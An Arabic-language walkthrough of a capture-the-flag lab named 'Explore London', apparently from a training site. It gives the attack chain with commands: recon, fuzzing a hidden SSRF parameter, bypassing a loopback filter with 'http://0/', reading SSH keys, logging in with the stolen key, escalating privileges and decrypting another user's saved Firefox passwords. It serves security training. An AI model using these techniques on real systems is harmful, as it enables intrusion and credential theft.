عن اللاب
موقع Python (Gunicorn/Flask) اسمه “Explore London” بيعرض قصيدة “The London Bridge is falling down” ومعرض صور. الصفحة عادية جداً في الظاهر — بس فيها SSRF مخبي في endpoint رفع الصور، وده هيقودك لسلسلة كاملة: قراءة ملفات محلية، سرقة مفتاح SSH، privilege escalation، وأخيراً فك تشفير باسورد محفوظة في متصفح مستخدم تاني.
الفلتر بيرفض “localhost” و”127.0.0.1″ الحرفية بس. جرّب صيغ بديلة لعنوان الـ loopback عشان تتجاوزه.
مسار الحل التفصيلي
1
Recon + Web Enum
nmap بيوريك بورتين: 22 (SSH) و8080 (HTTP). gobuster/ffuf بيلاقي صفحة /gallery لرفع صور
nmap -sC -sV -p- IP
2
اكتشاف SSRF — الباراميتر المخفي
fuzzing على /view_image بيكتشف إن الباراميتر الحقيقي مش “image_url” الظاهر، لكن باراميتر مخفي اسمه “www”
ffuf -w params.txt
3
تجاوز فلتر الـ SSRF
الفلتر بيرفض “localhost”/”127.0.0.1” الحرفية — استخدم صيغة بديلة للـ loopback للوصول للخدمات الداخلية
www=http://0/…
4
LFI → مفتاح SSH
عن طريق الـ SSRF وصّل لخدمة داخلية بتقرا ملفات — اقرا .ssh/authorized_keys وid_rsa واعرف يوزر beth
5
Foothold + Privesc + Firefox Decrypt
ادخل بالـ SSH كـ beth، لاحظ إن التطبيق على 8080 شغال بصلاحية root، وصّل لمجلد charles واستخرج مجلد .mozilla، وفكّ التشفير بـ firefox_decrypt.py
ssh -i id_rsa beth@IP
مرجع الأوامر
| الأمر | الوصف |
|---|---|
| gobuster dir -u IP:8080 -w raft-small.txt | اكتشاف /gallery |
| ffuf -u IP:8080/view_image -w params.txt | اكتشاف الباراميتر المخفي “www” |
| curl -X POST …/view_image -d ‘www=http://0/…’ | تأكيد وتجاوز فلتر SSRF |
| ssh -i id_rsa beth@<IP> | الدخول بالمفتاح المسروق |
| python3 firefox_decrypt.py . | فك تشفير الباسورد المحفوظة |
المهارات اللي هتكتسبها
SSRF Exploitation
Parameter Fuzzing
Filter Bypass Techniques
Local File Inclusion
Browser Credential Forensics